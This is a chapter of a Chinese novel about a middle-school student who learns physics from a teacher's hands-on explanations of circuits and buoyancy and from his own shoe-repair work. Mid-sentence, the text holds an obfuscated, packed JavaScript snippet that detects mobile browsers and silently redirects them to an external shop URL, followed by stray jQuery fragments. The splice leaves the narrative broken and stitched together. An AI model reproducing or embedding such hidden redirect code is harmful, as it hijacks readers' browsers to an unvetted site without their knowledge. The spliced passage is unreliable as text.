初三的第一次月考，孙小六考了全班第十七名。
成绩单贴在教室后门的玻璃上，一张A4纸，印着四十几个名字，名字后面跟着一串数字，像一列歪歪扭扭的队伍。孙小六站在人群外面，从后往前看——他习惯从后面找起。去年他总是在倒数十几名里找到自己，很快，眼睛一扫就看见了。这次他扫了两遍没找着，心里咯噔一下，以为自己漏了。第三遍，他在正中间偏上的位置看见了自己的名字。孙小六，第十七名。语文七十二，数学六十八，英语八十一，物理五十九，化学六十三，政治七十，历史六十五。总分四百七十八。
他盯着那个“五十九”看了很久。物理，不及格。
林宇从他肩膀后面挤过来，手指顺着名单往下划，划到第三十二名，停住了。他的总分三百九十一，物理四十二。他看着那个“四十二”，腮帮子鼓了一下，不是吃辣条的那种鼓，是憋了一口气又咽下去的那种。“我物理比上次多了几分。”他说。上次他考了三十八。进步了四分。他把那口气咽下去，咧嘴笑了一下。“照这个速度，中考前我能及格。”
陈浩站在人群最外面，没有往里挤。等人都散得差不多了，他才走过去，从前往后看。他的名字在第九名。语文七十九，数学八十五，英语六十二，物理七十七，化学七十二，政治八十一，历史七十八。英语是他的短板，和孙小六正好相反。他看完，转身走了。走到门口的时候，被郭老师叫住了。
“陈浩，你英语这次比期末进步了几分。阅读理解对得多了。”
陈浩停了一下。“我把暑假作业的阅读理解全翻译了一遍。不会的单词抄在本子上，每天背十个。”
郭老师点了点头，没有说“继续努力”，也没有说“很好”。她在成绩单上陈浩的名字旁边用红笔画了一个很小的五角星，然后合上笔帽。红笔是批作业用的那种，笔杆被手磨得发亮。
放学以后，孙小六去了物理办公室。
物理老师姓周，五十多岁，头发花白，上课的时候喜欢把粉笔头往天上抛，抛起来再接住。他抛了一辈子粉笔头，一次都没掉过。看见孙小六进来，他把粉笔头放在桌上。粉笔头很短，只够写几个字了，但他舍不得扔，拿在手里像拿着一截烟屁股。
“孙小六。五十九。”他从抽屉里拿出孙小六的物理卷子。卷子上用红笔打着密密麻麻的叉，每一道错题旁边都标着扣了几分。最后一道大题，十五分，孙小六得了零分。题目是一道关于滑动变阻器的计算题，电路图印在卷子上，滑动变阻器的箭头指向中间，问滑片向左移动时电流表和电压表的示数如何变化。孙小六在答题处写着：电流变大，电压变小。全错了。
周老师把卷子摊在桌上，手指点在电路图上。“你错在哪儿知道吗。”
孙小六看着那道题。他做这道题的时候，在草稿纸上画了好几遍电路图，箭头往左画一个，往右画一个。画到后来自己画糊涂了，就蒙了一个答案写上去。
“滑片移动的方向，我弄反了。”
周老师把粉笔头拿起来，在桌上画了一个电路图。没有用纸，直接画在办公桌的桌面上。粉笔在深色的桌面上留下一道白印子，清清楚楚的。“你看，滑片往左移，接入电路的电阻丝变短，电阻变小。电阻变小，电流就变大。电流变大，定值电阻两端的电压就变大。电源电压不变，定值电阻电压变大，滑动变阻器两端的电压就变小。”他把粉笔头点在滑动变阻器上。“你不是方向弄反了。你是没有把电路从头到尾走一遍。你只看了滑片，没看电流从哪儿来到哪儿去。”
他把粉笔头递给孙小六。“你来画一遍。从电源正极出发，走一圈，回到负极。手指头跟着电流走。”
孙小六接过粉笔头。粉笔头很短，捏在手里像一个很小很小的锥子柄。他把手指点在电源正极上，沿着电路走——电流表，滑动变阻器，定值电阻，开关，回到负极。手指走过滑动变阻器的时候，他停了一下。滑片往左移，电流走过的电阻丝短了一截。手指感觉到那截缩短了的距离。不是用脑子想的，是用手指感觉到的。他走完一圈，抬起头。
“滑动变阻器接入的电阻变小了。”
周老师把卷子翻过来，背面还有一道错题。一道关于浮力的计算，孙小六得了一半分。“这道题你错在哪儿。”
孙小六看着那道浮力题。一个铁块挂在弹簧测力计下面，一半浸在水里，问测力计的示数。他算出了浮力，但最后一步减反了，把浮力加到了重力上。“最后一步，加还是减，我弄混了。”
周老师从抽屉里拿出一个弹簧测力计，一个铁块，一个烧杯。烧杯里装了半杯水。他把铁块挂在测力计下面，测力计的指针指向一个刻度。然后他把铁块慢慢浸入水中。指针动了，往小的方向动。铁块浸入一半的时候，指针停在一个新的刻度上。“你看。重力没变，浮力往上托，测力计示数就变小。是减，不是加。”
孙小六看着那个指针。它在铁块浸入水中的时候，稳稳地、一点一点地往下降。他忽然想起蒋师傅修鞋的时候，把鞋底浸在水里试漏。水从裂缝渗进去，鞋底沉下去一点。那个下沉，和这个指针的下降，是一样的道理。他以前没想过修鞋和物理有关系。现在他知道了。不是有关系，是同一种东西——力。水托着鞋底，水托着铁块。他手上有锥子磨出来的茧，那个茧感觉到过皮子的阻力，感觉到过蜡线拉紧时的张力。他的手早就知道什么是力了。只是他的脑子还不知道那个力叫“浮力”。
“周老师，我手上的茧，握锥子磨出来的。锥子扎进皮子里，皮子往回顶。那个顶回来的劲儿，是不是力。”
周老师把粉笔头放在桌上。他看着孙小六的手。孙小六把手摊开，拇指和食指之间，握锥子的位置，茧微微凸起着，比其他地方的皮肤厚一层。“是。作用力和反作用力。你扎皮子，皮子也扎你。你用的劲儿越大，它顶回来的劲儿就越大。”他把孙小六的物理卷子翻到第一页，在最上面用红笔写了一行字——“力不是算出来的，是感觉到的。”写完，把卷子还给孙小六。“下次月考，你物理能及格。不是因为你懂了，是因为你的手早就懂了。脑子追上手的功夫，很快。”
孙小六从物理办公室出来的时候，走廊里已经没什么人了。他把物理卷子折好，放进口袋里，挨着火柴盒。卷子在口袋里鼓着一块，和火柴盒挤在一起，走路的时候沙沙响。
他从二楼往下走，经过一楼拐角的时候，看见林宇蹲在墙根底下。面前摊着一本物理课本，翻到滑动变阻器那一页。他手里拿着一根树枝，在地上画电路图。画了擦，擦了画。树枝太粗，画出来的线歪歪扭扭的，滑片的位置画了好几遍都不对。他嘴里叼着一根棒棒糖，没剥糖纸，就那么叼着，塑料棍在嘴角一翘一翘的。
孙小六在他旁边蹲下来。把周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510471|202973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老师画在桌上的那个电路图，用手指在地上重新画了一遍。手指在灰土上划过，电流从电源正极出发，经过电流表，经过滑动变阻器，经过定值电阻，经过开关，回到负极。每一段都标上了箭头。滑片往左，箭头短一截；滑片往右，箭头长一截。“你看。电流走过的路。滑片动，路的长短就变。路变短，电流就走得快。路变长，电流就走得慢。电流走快走慢，电压就跟着变。”
林宇把棒棒糖从嘴里拿下来。糖纸上沾着他的口水，亮晶晶的。他看着地上那个电路图，用手指沿着箭头走了一遍。走到滑动变阻器的时候，他的手指在滑片的位置停了一下，然后继续走。走完一圈，他又走了一遍。第二遍比第一遍快。第三遍，他的手指自己就知道往哪儿拐了。
“我以前觉得物理是算出来的。”他把棒棒糖剥开，塞进嘴里。橘子味的，糖精的甜味在空气里散开。“你把电路画成路，我就懂了。路短走得快，路长走得慢。跟我从家到学校一样。走巷子近，走大路远。走近路到得早，走远路到得晚。”他把树枝捡起来，在地上那个电路图旁边画了一个小人。小人从电源正极出发，沿着箭头走了一圈，回到负极。画完，他把树枝扔了。
“月考完我妈问我考了多少名。我说三十二。她没说话，给我煎了两个荷包蛋。糖心的。我把荷包蛋吃了，蛋黄流了一盘子，用馒头蘸着吃干净了。吃完以后她问我，下次能考多少。我说，往前十名。”他把棒棒糖从左边换到右边。“她说，十名太多了。往前五名就行。”
孙小六看着他。林宇说这话的时候，语气跟说“明天我带包子”是一样的。不是发誓，不是说大话。就是说了。说了，就去做。
晚上回到家，孙小六把物理卷子摊在书桌上。五十九分的卷子，红叉叉密密麻麻的，像一张被打满了补丁的脸。他没有把卷子藏起来，就让它摊着。从笔套里抽出圆珠笔，把周老师写的那行红字抄在了纸板上——“力不是算出来的，是感觉到的。”字很小，挤在纸板右下角。写完，他把笔插回去。
然后他开始改错题。不是抄正确答案，是一道一道重新做。滑动变阻器那道题，他在草稿纸上画了五遍电路图。第一遍照着卷子画，第二遍默画，第三遍把滑片往左移画一遍，第四遍把滑片往右移画一遍，第五遍闭着眼睛，用手指在纸上走了一遍电流的路。走完，睁开眼，在题目旁边写上答案。电流变大，电压变小。这次不是蒙的。是走出来的。
浮力那道题，他从厨房找了一个碗，接满水。没有铁块，用钥匙代替。没有弹簧测力计，用橡皮筋。钥匙挂在橡皮筋下面，橡皮筋的另一头拴在筷子上，筷子架在碗口。钥匙浸入水中一半，橡皮筋变短了。全浸进去，橡皮筋更短了。他用手捏了捏橡皮筋，短了就是拉力变小了。水在往上托。他把钥匙从水里捞出来，橡皮筋弹回原来的长度。反复做了三遍。每一遍橡皮筋都在水里变短。不是书上说的，是他自己看见的。
李婉从厨房门口经过，看见他在玩水和钥匙，站住看了一会儿。没问他干什么。她从柜子里找出一根新的橡皮筋，放在碗旁边。这根比孙小六用的那根细一点，弹性更好。
孙小六换上新橡皮筋，把钥匙浸入水中。橡皮筋拉伸的长度变化更明显了。他在草稿纸上记下数据——空气中的长度，一半浸入的长度，全浸入的长度。三个数字排成一列，一个比一个小。他把这三个数字抄到错题旁边。